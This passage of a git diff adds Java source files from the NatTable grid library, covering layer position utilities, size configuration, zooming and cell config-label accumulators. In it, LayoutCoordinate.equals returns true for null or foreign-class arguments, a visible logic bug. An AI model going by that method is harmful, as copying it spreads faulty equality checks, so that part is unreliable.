layer.getColumnWidthByPosition(columnPosition); + if (x < startX) { + return findColumnPosition(xOffset, columnOffset, layer, x, startX, columnPosition); + } else if (x >= endX) { + return findColumnPosition(endX, columnPosition + 1, layer, x, totalWidth, columnCount); + } else { + return columnPosition; + } + } + + public static final int getRowPositionByY(ILayer layer, int y) { + int height = layer.getHeight(); + + if (y < 0 || y >= height) { + return -1; + } + + return findRowPosition(0, 0, layer, y, height, layer.getRowCount()); + } + + protected static final int findRowPosition(int yOffset, int rowOffset, ILayer layer, int y, int totalHeight, int rowCount) { + double size = (double) (totalHeight - yOffset) / (rowCount - rowOffset); + int rowPosition = rowOffset + (int) ((y - yOffset) / size); + + int startY = layer.getStartYOfRowPosition(rowPosition); + int endY = startY + layer.getRowHeightByPosition(rowPosition); + if (y < startY) { + return findRowPosition(yOffset, rowOffset, layer, y, startY, rowPosition); + } else if (y >= endY) { + return findRowPosition(endY, rowPosition + 1, layer, y, totalHeight, rowCount); + } else { + return rowPosition; + } + } + + /** + * Convert column position from the source layer to the target layer + * @param sourceLayer source layer + * @param sourceColumnPosition column position in the source layer + * @param targetLayer layer to convert the from position to + * @return converted column position + */ + public static final int convertColumnPosition(ILayer sourceLayer, int sourceColumnPosition, IUniqueIndexLayer targetLayer) { + if (targetLayer == sourceLayer) { + return sourceColumnPosition; + } + int columnIndex = sourceLayer.getColumnIndexByPosition(sourceColumnPosition); + return targetLayer.getColumnPositionByIndex(columnIndex); + } + + /** + * Convert row position from the source layer to the target layer + * @param sourceLayer source layer + * @param sourceRowPosition position in the source layer + * @param targetLayer layer to convert the from position to + * @return converted row position + */ + public static final int convertRowPosition(ILayer sourceLayer, int sourceRowPosition, IUniqueIndexLayer targetLayer) { + if (targetLayer == sourceLayer) { + return sourceRowPosition; + } + int rowIndex = sourceLayer.getRowIndexByPosition(sourceRowPosition); + return targetLayer.getRowPositionByIndex(rowIndex); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/LayoutCoordinate.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/LayoutCoordinate.java new file mode 100644 index 0000000..399f75e --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/LayoutCoordinate.java @@ -0,0 +1,43 @@ +package net.sourceforge.nattable.layer; + +public final class LayoutCoordinate { + + public final int x; + + public final int y; + + public LayoutCoordinate(int x, int y) { + this.x = x; + this.y = y; + } + + public int getColumnPosition() { + return x; + } + + public int getRowPosition() { + return y; + } + + @Override + public String toString() { + return getClass().getSimpleName() + "[" + x + "," + y + "]"; + } + + @Override + public boolean equals(Object obj) { + if (obj == this) return true; + if (obj == null || obj.getClass() != getClass()) return true; + LayoutCoordinate pc = (LayoutCoordinate) obj; + return pc.getRowPosition() == getRowPosition() && pc.getColumnPosition() == getColumnPosition(); + } + + @Override + public int hashCode() { + int hash = 77; + hash = 11 * hash + getRowPosition() + 99; + hash = 11 * hash + getColumnPosition(); + return hash; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/SizeConfig.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/SizeConfig.java new file mode 100644 index 0000000..0b1e3f4 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/SizeConfig.java @@ -0,0 +1,199 @@ +package net.sourceforge.nattable.layer; + +import java.util.Map; +import java.util.Properties; +import java.util.StringTokenizer; +import java.util.TreeMap; + +import net.sourceforge.nattable.util.GUIHelper; + +import org.apache.commons.lang.StringUtils; + +public class SizeConfig { + + public static final String PERSISTENCE_KEY_DEFAULT_SIZE = ".defaultSize"; + public static final String PERSISTENCE_KEY_DEFAULT_SIZES = ".defaultSizes"; + public static final String PERSISTENCE_KEY_SIZES = ".sizes"; + public static final String PERSISTENCE_KEY_RESIZABLE_BY_DEFAULT = ".resizableByDefault"; + public static final String PERSISTENCE_KEY_RESIZABLE_INDEXES = ".resizableIndexes"; + + private int defaultSize; + private final Map defaultSizeMap = new TreeMap(); + private final Map sizeMap = new TreeMap(); + private final Map resizablesMap = new TreeMap(); + private boolean resizableByDefault = true; + + public SizeConfig() {} + + public SizeConfig(int defaultSize) { + this.defaultSize = defaultSize; + } + + // Persistence + + public void saveState(String prefix, Properties properties) { + properties.put(prefix + PERSISTENCE_KEY_DEFAULT_SIZE, String.valueOf(defaultSize)); + saveMap(defaultSizeMap, prefix + PERSISTENCE_KEY_DEFAULT_SIZES, properties); + saveMap(sizeMap, prefix + PERSISTENCE_KEY_SIZES, properties); + properties.put(prefix + PERSISTENCE_KEY_RESIZABLE_BY_DEFAULT, String.valueOf(resizableByDefault)); + saveMap(resizablesMap, prefix + PERSISTENCE_KEY_RESIZABLE_INDEXES, properties); + } + + private void saveMap(Map map, String key, Properties properties) { + if (map.size() > 0) { + StringBuilder strBuilder = new StringBuilder(); + for (Integer index : map.keySet()) { + strBuilder.append(index); + strBuilder.append(':'); + strBuilder.append(map.get(index)); + strBuilder.append(','); + } + properties.setProperty(key, strBuilder.toString()); + } + } + + public void loadState(String prefix, Properties properties) { + String persistedDefaultSize = properties.getProperty(prefix + PERSISTENCE_KEY_DEFAULT_SIZE); + if (!StringUtils.isEmpty(persistedDefaultSize)) { + defaultSize = Integer.valueOf(persistedDefaultSize).intValue(); + } + + String persistedResizableDefault = properties.getProperty(prefix + PERSISTENCE_KEY_RESIZABLE_BY_DEFAULT); + if (!StringUtils.isEmpty(persistedResizableDefault)) { + resizableByDefault = Boolean.valueOf(persistedResizableDefault).booleanValue(); + } + + loadBooleanMap(prefix + PERSISTENCE_KEY_RESIZABLE_INDEXES, properties, resizablesMap); + loadIntegerMap(prefix + PERSISTENCE_KEY_DEFAULT_SIZES, properties, defaultSizeMap); + loadIntegerMap(prefix + PERSISTENCE_KEY_SIZES, properties, sizeMap); + } + + private void loadIntegerMap(String key, Properties properties, Map map) { + String property = properties.getProperty(key); + if (property != null) { + map.clear(); + + StringTokenizer tok = new StringTokenizer(property, ","); + while (tok.hasMoreTokens()) { + String token = tok.nextToken(); + int separatorIndex = token.indexOf(':'); + map.put(Integer.valueOf(token.substring(0, separatorIndex)), Integer.valueOf(token.substring(separatorIndex + 1))); + } + } + } + + private void loadBooleanMap(String key, Properties properties, Map map) { + String property = properties.getProperty(key); + if (property != null) { + StringTokenizer tok = new StringTokenizer(property, ","); + while (tok.hasMoreTokens()) { + String token = tok.nextToken(); + int separatorIndex = token.indexOf(':'); + map.put(Integer.valueOf(token.substring(0, separatorIndex)), Boolean.valueOf(token.substring(separatorIndex + 1))); + } + } + } + + // Default size + + public void setDefaultSize(int defaultSize) { + this.defaultSize = defaultSize; + } + + public void setDefaultSize(int position, int size) { + defaultSizeMap.put(Integer.valueOf(position), Integer.valueOf(size)); + } + + private int getDefaultSize(int position) { + int size = getSize(defaultSizeMap, position); + if (size >= 0) { + return size; + } else { + return defaultSize; + } + } + + // Size + + public int getAggregateSize(int position) { + if (position < 0) { + return -1; + } else if (position == 0) { + return 0; + } else if (isAllPositionsSameSize()) { + return position * defaultSize; + } else { + int resizeAggregate = 0; + + int resizedColumns = 0; + for (Integer resizedPosition : sizeMap.keySet()) { + if (resizedPosition.intValue() < position) { + resizedColumns++; + resizeAggregate += sizeMap.get(resizedPosition).intValue(); + } else { + break; + } + } + + return (position * defaultSize) + (resizeAggregate - (resizedColumns * defaultSize)); + } + } + + public int getSize(int position) { + int size = getSize(sizeMap, position); + + if (size <= 0 && sizeMap.containsKey(Integer.valueOf(position))) { + return GUIHelper.DEFAULT_MIN_DISPLAY_SIZE; + } else if (size >= 0) { + return size; + } else { + return getDefaultSize(position); + } + } + + public void setSize(int position, int size) { + if (isPositionResizable(position)) { + sizeMap.put(Integer.valueOf(position), Integer.valueOf(size)); + } + } + + // Resizable + + public boolean isResizableByDefault() { + return resizableByDefault; + } + + public boolean isPositionResizable(int position) { + Boolean resizable = resizablesMap.get(Integer.valueOf(position)); + if (resizable != null) { + return resizable.booleanValue(); + } + return resizableByDefault; + } + + public void setPositionResizable(int position, boolean resizable) { + resizablesMap.put(Integer.valueOf(position), Boolean.valueOf(resizable)); + } + + public void setResizableByDefault(boolean resizableByDefault) { + resizablesMap.clear(); + this.resizableByDefault = resizableByDefault; + } + + // All positions same size + + public boolean isAllPositionsSameSize() { + return defaultSizeMap.size() == 0 && sizeMap.size() == 0; + } + + private int getSize(Map map, int position) { + Integer sizeFromMap = map.get(Integer.valueOf(position)); + + if (sizeFromMap != null) { + return sizeFromMap.intValue(); + } + + return -1; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/SpanningDataLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/SpanningDataLayer.java new file mode 100644 index 0000000..6527e8d --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/SpanningDataLayer.java @@ -0,0 +1,42 @@ +package net.sourceforge.nattable.layer; + +import net.sourceforge.nattable.data.ISpanningDataProvider; +import net.sourceforge.nattable.layer.cell.DataCell; +import net.sourceforge.nattable.layer.cell.LayerCell; + +public class SpanningDataLayer extends DataLayer { + + public SpanningDataLayer(ISpanningDataProvider dataProvider) { + super(dataProvider); + } + + public SpanningDataLayer(ISpanningDataProvider dataProvider, int defaultColumnWidth, int defaultRowHeight) { + super(dataProvider, defaultColumnWidth, defaultRowHeight); + } + + protected SpanningDataLayer() { + super(); + } + + protected SpanningDataLayer(int defaultColumnWidth, int defaultRowHeight) { + super(defaultColumnWidth, defaultRowHeight); + } + + @Override + public ISpanningDataProvider getDataProvider() { + return (ISpanningDataProvider) super.getDataProvider(); + } + + @Override + public LayerCell getCellByPosition(int columnPosition, int rowPosition) { + if (columnPosition < 0 || columnPosition >= getColumnCount() + || rowPosition < 0 || rowPosition >= getRowCount()) { + return null; + } + + DataCell dataCell = getDataProvider().getCellByPosition(columnPosition, rowPosition); + + return new LayerCell(this, columnPosition, rowPosition, dataCell); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/ZoomLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/ZoomLayer.java new file mode 100644 index 0000000..a04183a --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/ZoomLayer.java @@ -0,0 +1,86 @@ +package net.sourceforge.nattable.layer; + +public class ZoomLayer extends AbstractLayerTransform { + + private float zoomFactor = 1; + + public ZoomLayer(ILayer underlyingILayer) { + super(underlyingILayer); + } + + public float getZoomFactor() { + return zoomFactor; + } + + public void setZoomFactor(float zoomFactor) { + this.zoomFactor = zoomFactor; + } + + // Horizontal features + + // Width + + @Override + public int getWidth() { + return (int) (zoomFactor * super.getWidth()); + } + + @Override + public int getPreferredWidth() { + return (int) (zoomFactor * super.getPreferredWidth()); + } + + @Override + public int getColumnWidthByPosition(int columnPosition) { + return (int) (zoomFactor * super.getColumnWidthByPosition(columnPosition)); + } + + // X + + @Override + public int getColumnPositionByX(int x) { + return super.getColumnPositionByX((int) (x / zoomFactor)); + } + + @Override + public int getStartXOfColumnPosition(int columnPosition) { + return (int) (zoomFactor * super.getStartXOfColumnPosition(columnPosition)); + } + + // Vertical features + + // Height + + @Override + public int getHeight() { + return (int) (zoomFactor * super.getHeight()); + } + + @Override + public int getPreferredHeight() { + return (int) (zoomFactor * super.getPreferredHeight()); + } + + @Override + public int getRowHeightByPosition(int rowPosition) { + return (int) (zoomFactor * super.getRowHeightByPosition(rowPosition)); + } + + // Y + + @Override + public int getRowPositionByY(int y) { + return super.getRowPositionByY((int) (y / zoomFactor)); + } + + @Override + public int getStartYOfRowPosition(int rowPosition) { + return (int) (zoomFactor * super.getStartYOfRowPosition(rowPosition)); + } + + @Override + public LabelStack getRegionLabelsByXY(int x, int y) { + return super.getRegionLabelsByXY((int) (x / zoomFactor), (int) (y / zoomFactor)); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/AbstractOverrider.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/AbstractOverrider.java new file mode 100644 index 0000000..50bc3dc --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/AbstractOverrider.java @@ -0,0 +1,43 @@ +package net.sourceforge.nattable.layer.cell; + +import java.io.Serializable; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import net.sourceforge.nattable.util.ArrayUtil; + +public abstract class AbstractOverrider implements IConfigLabelAccumulator { + + private Map> overrides = new HashMap>(); + + public void removeOverride(Serializable key) { + overrides.remove(key); + } + + public void registerOverrides(Serializable key, String...configLabels) { + List existingOverrides = getOverrides(key); + if(existingOverrides == null){ + registerOverrides(key, ArrayUtil.asList(configLabels)); + } else { + existingOverrides.addAll(ArrayUtil.asList(configLabels)); + } + } + + public void registerOverrides(Serializable key, List configLabels) { + overrides.put(key, configLabels); + } + + public Map> getOverrides() { + return overrides; + } + + public List getOverrides(Serializable key) { + return overrides.get(key); + } + + public void addOverrides(Map> overrides) { + this.overrides.putAll(overrides); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/AggregrateConfigLabelAccumulator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/AggregrateConfigLabelAccumulator.java new file mode 100644 index 0000000..dd30980 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/AggregrateConfigLabelAccumulator.java @@ -0,0 +1,33 @@ +package net.sourceforge.nattable.layer.cell; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +import net.sourceforge.nattable.layer.LabelStack; + +/** + * An {@link ICellLabelAccumulator} that can aggregate labels from other ICellLabelAccumulators.
    + * All the labels provided by the aggregated accumulators are applied to the cell. + */ +public class AggregrateConfigLabelAccumulator implements IConfigLabelAccumulator { + + private List accumulators = new ArrayList(); + + public void add(IConfigLabelAccumulator r) { + if (r == null) throw new IllegalArgumentException("null"); + accumulators.add(r); + } + + public void add(IConfigLabelAccumulator... r) { + if (r == null) throw new IllegalArgumentException("null"); + accumulators.addAll(Arrays.asList(r)); + } + + public void accumulateConfigLabels(LabelStack configLabels, int columnPosition, int rowPosition) { + for (IConfigLabelAccumulator accumulator : accumulators) { + accumulator.accumulateConfigLabels(configLabels, columnPosition, rowPosition); + } + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/BodyOverrideConfigLabelAccumulator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/BodyOverrideConfigLabelAccumulator.java new file mode 100644 index 0000000..4b8397a --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/BodyOverrideConfigLabelAccumulator.java @@ -0,0 +1,28 @@ +package net.sourceforge.nattable.layer.cell; + +import java.util.Arrays; +import java.util.List; + +import net.sourceforge.nattable.layer.LabelStack; + +/** + * Applies the given labels to all the cells in the grid.
    + * Used to apply styles to the entire grid. + */ +public class BodyOverrideConfigLabelAccumulator implements IConfigLabelAccumulator { + + private List configLabels; + + public void accumulateConfigLabels(LabelStack configLabels, int columnPosition, int rowPosition) { + configLabels.getLabels().addAll(this.configLabels); + } + + public void registerOverrides(String... configLabels) { + this.configLabels = Arrays.asList(configLabels); + } + + public void addOverride(String configLabel) { + this.configLabels.add(configLabel); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/CellOverrideLabelAccumulator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/CellOverrideLabelAccumulator.java new file mode 100644 index 0000000..5c8a90a --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/CellOverrideLabelAccumulator.java @@ -0,0 +1,85 @@ +package net.sourceforge.nattable.layer.cell; + +import java.io.Serializable; +import java.util.List; + +import net.sourceforge.nattable.data.IRowDataProvider; +import net.sourceforge.nattable.layer.LabelStack; + +import org.apache.commons.lang.builder.EqualsBuilder; +import org.apache.commons.lang.builder.HashCodeBuilder; + +/* + * Allows application of config labels to cell(s) containing a specified data value.
    + * Internally the class generated a 'key' using a combination of the cell value and its column position. + * The registered labels are tracked using this key. + * + * Note: First Map's key is displayMode, inner Map's key is fieldName, the inner Map's value is cellValue + */ +public class CellOverrideLabelAccumulator extends AbstractOverrider { + private IRowDataProvider dataProvider; + + public CellOverrideLabelAccumulator(IRowDataProvider dataProvider) { + this.dataProvider = dataProvider; + } + + public void accumulateConfigLabels(LabelStack configLabels, int columnPosition, int rowPosition) { + List cellLabels = getConfigLabels(dataProvider.getDataValue(columnPosition, rowPosition), columnPosition); + if (cellLabels == null) { + return; + } + for (String configLabel : cellLabels) { + configLabels.addLabel(configLabel); + } + } + + protected List getConfigLabels(Object value, int col) { + CellValueOverrideKey key = new CellValueOverrideKey(value, col); + return getOverrides(key); + } + + /** + * Register a config label on the cell + * @param cellValue data value of the cell. This is the backing data value, not the display value. + * @param col column index of the cell + * @param configLabel to apply. Styles for the cell have to be registered against this label. + */ + public void registerOverride(Object cellValue, int col, String configLabel) { + registerOverrides(new CellValueOverrideKey(cellValue, col), configLabel); + } +} + +/** + * Class used as a key for storing cell labels in an internal map. + */ +class CellValueOverrideKey implements Serializable { + private static final long serialVersionUID = 1L; + Object cellValue; + int col; + + CellValueOverrideKey(Object cellValue, int col) { + this.cellValue = cellValue; + this.col = col; + } + + @Override + public boolean equals(Object obj) { + if (obj instanceof CellValueOverrideKey == false) { + return false; + } + if (this == obj) { + return true; + } + CellValueOverrideKey rhs = ((CellValueOverrideKey) obj); + return new EqualsBuilder().append(cellValue, rhs.cellValue).append(col, rhs.col).isEquals(); + } + + @Override + public int hashCode() { + return new HashCodeBuilder(1, 3).append(cellValue).append(col).toHashCode(); + } + + public String getComposite() { + return cellValue + String.valueOf(col); + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/ClassNameConfigLabelAccumulator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/ClassNameConfigLabelAccumulator.java new file mode 100644 index 0000000..4885c3e --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/ClassNameConfigLabelAccumulator.java @@ -0,0 +1,24 @@ +package net.sourceforge.nattable.layer.cell; + +import net.sourceforge.nattable.data.IRowDataProvider; +import net.sourceforge.nattable.layer.LabelStack; + +/** + * Adds the Java class name of the cell's data value as a label. + */ +public class ClassNameConfigLabelAccumulator implements IConfigLabelAccumulator { + + private IRowDataProvider dataProvider; + + public ClassNameConfigLabelAccumulator(IRowDataProvider dataProvider) { + this.dataProvider = dataProvider; + } + + public void accumulateConfigLabels(LabelStack configLabel, int columnPosition, int rowPosition) { + Object value = dataProvider.getDataValue(columnPosition, rowPosition); + if (value != null) { + configLabel.addLabel(value.getClass().getName()); + } + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/ColumnOverrideLabelAccumulator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/ColumnOverrideLabelAccumulator.java new file mode 100644 index 0000000..915b23f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/ColumnOverrideLabelAccumulator.java @@ -0,0 +1,94 @@ +package net.sourceforge.nattable.layer.cell; + +import java.io.Serializable; +import java.util.List; +import java.util.Map; +import java.util.Properties; +import java.util.Set; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.edit.editor.ICellEditor; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.LabelStack; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.persistence.IPersistable; +import net.sourceforge.nattable.style.IStyle; + +/** + * Registers/Adds configuration labels for a given column (by index).
    + * Custom {@link ICellEditor}, {@link ICellPainter}, {@link IStyle} can then
    + * be registered in the {@link IConfigRegistry} against these labels.
    + * + * Also @see {@link RowOverrideLabelAccumulator} + */ +public class ColumnOverrideLabelAccumulator extends AbstractOverrider implements IPersistable { + + public static final String PERSISTENCE_KEY = ".columnOverrideLabelAccumulator"; + private final ILayer layer; + + public ColumnOverrideLabelAccumulator(ILayer layer) { + this.layer = layer; + } + + /** + * {@inheritDoc} + */ + public void accumulateConfigLabels(LabelStack configLabels, int columnPosition, int rowPosition) { + int columnIndex = layer.getColumnIndexByPosition(columnPosition); + List overrides = getOverrides(Integer.valueOf(columnIndex)); + if (overrides != null) { + for (String configLabel : overrides) { + configLabels.addLabel(configLabel); + } + } + } + + /** + * Register labels to be contributed a column. This label will be applied to
    + * all cells in the column. + */ + public void registerColumnOverrides(int columnIndex, String... configLabels) { + super.registerOverrides(Integer.valueOf(columnIndex), configLabels); + } + + /** + * Save the overrides to a properties file. A line is stored for every column.
    + * + * Example for column 0: + * prefix.columnOverrideLabelAccumulator.0 = LABEL1,LABEL2 + */ + public void saveState(String prefix, Properties properties) { + Map> overrides = getOverrides(); + + for (Map.Entry> entry : overrides.entrySet()) { + StringBuilder strBuilder = new StringBuilder(); + for (String columnLabel : entry.getValue()) { + strBuilder.append(columnLabel); + strBuilder.append(VALUE_SEPARATOR); + } + //Strip the last comma + String propertyValue = strBuilder.toString(); + if(propertyValue.endsWith(VALUE_SEPARATOR)){ + propertyValue = propertyValue.substring(0, propertyValue.length() - 1); + } + String propertyKey = prefix + PERSISTENCE_KEY + DOT + entry.getKey(); + properties.setProperty(propertyKey, propertyValue); + } + } + + /** + * Load the overrides state from the given properties file.
    + * @see CellOverrideLabelAccumulator#saveState() + */ + public void loadState(String prefix, Properties properties) { + Set keySet = properties.keySet(); + for (Object key : keySet) { + String keyString = (String) key; + if(keyString.contains(PERSISTENCE_KEY)){ + String labelsFromPropertyValue = properties.getProperty(keyString).trim(); + String columnIndexFromKey = keyString.substring(keyString.lastIndexOf(DOT) + 1); + registerColumnOverrides(Integer.parseInt(columnIndexFromKey), labelsFromPropertyValue.split(VALUE_SEPARATOR)); + } + } + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/DataCell.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/DataCell.java new file mode 100644 index 0000000..4c95c2f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/DataCell.java @@ -0,0 +1,74 @@ +package net.sourceforge.nattable.layer.cell; + +import org.apache.commons.lang.builder.EqualsBuilder; +import org.apache.commons.lang.builder.HashCodeBuilder; + +public class DataCell { + + protected int columnPosition; + + protected int rowPosition; + + protected int columnSpan; + + protected int rowSpan; + + public DataCell(int columnPosition, int rowPosition) { + this(columnPosition, rowPosition, 1, 1); + } + + public DataCell(int columnPosition, int rowPosition, int columnSpan, int rowSpan) { + this.columnPosition = columnPosition; + this.rowPosition = rowPosition; + this.columnSpan = columnSpan; + this.rowSpan = rowSpan; + } + + public int getColumnPosition() { + return columnPosition; + } + + public int getRowPosition() { + return rowPosition; + } + + public int getColumnSpan() { + return columnSpan; + } + + public int getRowSpan() { + return rowSpan; + } + + public boolean isSpannedCell() { + return columnSpan > 1 || rowSpan > 1; + } + + @Override + public boolean equals(Object obj) { + if (obj instanceof DataCell == false) { + return false; + } + if (this == obj) { + return true; + } + DataCell rhs = (DataCell) obj; + return new EqualsBuilder() + .append(columnPosition, rhs.columnPosition) + .append(rowPosition, rhs.rowPosition) + .append(columnSpan, rhs.columnSpan) + .append(rowSpan, rhs.rowSpan) + .isEquals(); + } + + @Override + public int hashCode() { + return new HashCodeBuilder(423, 971) + .append(columnPosition) + .append(rowPosition) + .append(columnSpan) + .append(rowSpan) + .toHashCode(); + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/IConfigLabelAccumulator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/IConfigLabelAccumulator.java new file mode 100644 index 0000000..0b77399 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/IConfigLabelAccumulator.java @@ -0,0 +1,22 @@ +package net.sourceforge.nattable.layer.cell; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.LabelStack; + +/** + * Resolves the configuration/config label(s) which are tied to a given cell.
    + * Various attributes can be registered in the {@link IConfigRegistry} against this
    + * label
    + */ +public interface IConfigLabelAccumulator { + + /** + * Add labels applicable to this cell position + * @param configLabels the labels currently applied to the cell. The labels contributed by this + * provider must be added to this stack + * @param columnPosition of the cell for which labels are being gathered + * @param rowPosition of the cell for which labels are being gathered + */ + public void accumulateConfigLabels(LabelStack configLabels, int columnPosition, int rowPosition); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/LayerCell.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/LayerCell.java new file mode 100644 index 0000000..786383c --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/LayerCell.java @@ -0,0 +1,221 @@ +package net.sourceforge.nattable.layer.cell; + +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.LabelStack; + +import org.apache.commons.lang.builder.EqualsBuilder; +import org.apache.commons.lang.builder.HashCodeBuilder; +import org.eclipse.swt.graphics.Rectangle; + +public class LayerCell { + + private ILayer layer; + + private int columnPosition; + + private int rowPosition; + + private ILayer sourceLayer; + + private int originColumnPosition; + + private int originRowPosition; + + private int columnSpan; + + private int rowSpan; + + private boolean isDisplayModeCached = false; + + private String displayMode = null; + + private boolean isConfigLabelsCached = false; + + private LabelStack configLabels = null; + + private boolean isDataValueCached = false; + + private Object dataValue = null; + + private boolean isBoundsCached = false; + + private Rectangle bounds = null; + + public LayerCell(ILayer layer, int columnPosition, int rowPosition, DataCell cell) { + this(layer, cell.columnPosition, cell.rowPosition, columnPosition, rowPosition, cell.columnSpan, cell.rowSpan); + } + + public LayerCell(ILayer layer, int columnPosition, int rowPosition) { + this(layer, columnPosition, rowPosition, columnPosition, rowPosition, 1, 1); + } + + public LayerCell(ILayer layer, int originColumnPosition, int originRowPosition, int columnPosition, int rowPosition, int columnSpan, int rowSpan) { + this.sourceLayer = layer; + this.originColumnPosition = originColumnPosition; + this.originRowPosition = originRowPosition; + + this.layer = layer; + this.columnPosition = columnPosition; + this.rowPosition = rowPosition; + + this.columnSpan = columnSpan; + this.rowSpan = rowSpan; + } + + private boolean isReadMode() { + return isDisplayModeCached || isConfigLabelsCached || isDataValueCached || isBoundsCached; + } + + public void updateLayer(ILayer layer) { + if (isReadMode()) { + throw new IllegalStateException("Cannot update cell once displayMode, configLabels, dataValue, or bounds have been read"); + } + + this.layer = layer; + } + + public void updatePosition(ILayer layer, int originColumnPosition, int originRowPosition, int columnPosition, int rowPosition) { + if (isReadMode()) { + throw new IllegalStateException("Cannot update cell once displayMode, configLabels, dataValue, or bounds have been read"); + } + + this.layer = layer; + this.originColumnPosition = originColumnPosition; + this.originRowPosition = originRowPosition; + this.columnPosition = columnPosition; + this.rowPosition = rowPosition; + } + + public void updateColumnSpan(int columnSpan) { + if (isReadMode()) { + throw new IllegalStateException("Cannot update cell once displayMode, configLabels, dataValue, or bounds have been read"); + } + + this.columnSpan = columnSpan; + } + + public void updateRowSpan(int rowSpan) { + if (isReadMode()) { + throw new IllegalStateException("Cannot update cell once displayMode, configLabels, dataValue, or bounds have been read"); + } + + this.rowSpan = rowSpan; + } + + public ILayer getSourceLayer() { + return sourceLayer; + } + + public int getOriginColumnPosition() { + return originColumnPosition; + } + + public int getOriginRowPosition() { + return originRowPosition; + } + + public ILayer getLayer() { + return layer; + } + + public int getColumnPosition() { + return columnPosition; + } + + public int getRowPosition() { + return rowPosition; + } + + public int getColumnSpan() { + return columnSpan; + } + + public int getRowSpan() { + return rowSpan; + } + + public boolean isSpannedCell() { + return columnSpan > 1 || rowSpan > 1; + } + + public String getDisplayMode() { + if (!isDisplayModeCached) { + isDisplayModeCached = true; + + displayMode = layer.getDisplayModeByPosition(columnPosition, rowPosition); + } + + return displayMode; + } + + public LabelStack getConfigLabels() { + if (!isConfigLabelsCached) { + isConfigLabelsCached = true; + + configLabels = layer.getConfigLabelsByPosition(columnPosition, rowPosition); + } + + return configLabels; + } + + public Object getDataValue() { + if (!isDataValueCached) { + isDataValueCached = true; + + dataValue = layer.getDataValueByPosition(columnPosition, rowPosition); + } + + return dataValue; + } + + public Rectangle getBounds() { + if (!isBoundsCached) { + isBoundsCached = true; + + bounds = layer.getBoundsByPosition(columnPosition, rowPosition); + } + + return bounds; + } + + @Override + public boolean equals(Object obj) { + if (obj instanceof LayerCell == false) { + return false; + } + if (this == obj) { + return true; + } + LayerCell rhs = (LayerCell) obj; + return new EqualsBuilder() + .append(sourceLayer, rhs.sourceLayer) + .append(originColumnPosition, rhs.originColumnPosition) + .append(originRowPosition, rhs.originRowPosition) + .append(columnSpan, rhs.columnSpan) + .append(rowSpan, rhs.rowSpan) + .isEquals(); + } + + @Override + public int hashCode() { + return new HashCodeBuilder(771, 855) + .append(sourceLayer) + .append(originColumnPosition) + .append(originRowPosition) + .append(columnSpan) + .append(rowSpan) + .toHashCode(); + } + + @Override + public String toString() { + return "LayerCell: [" + + "Data: " + dataValue + + ", sourceLayer: " + sourceLayer.getClass().getSimpleName() + + ", originColumnPosition: " + originColumnPosition + + ", originRowPosition: " + originRowPosition + + ", columnSpan: " + columnSpan + + ", rowSpan: " + rowSpan + + "]"; + } +} \ No newline at end of file diff --git 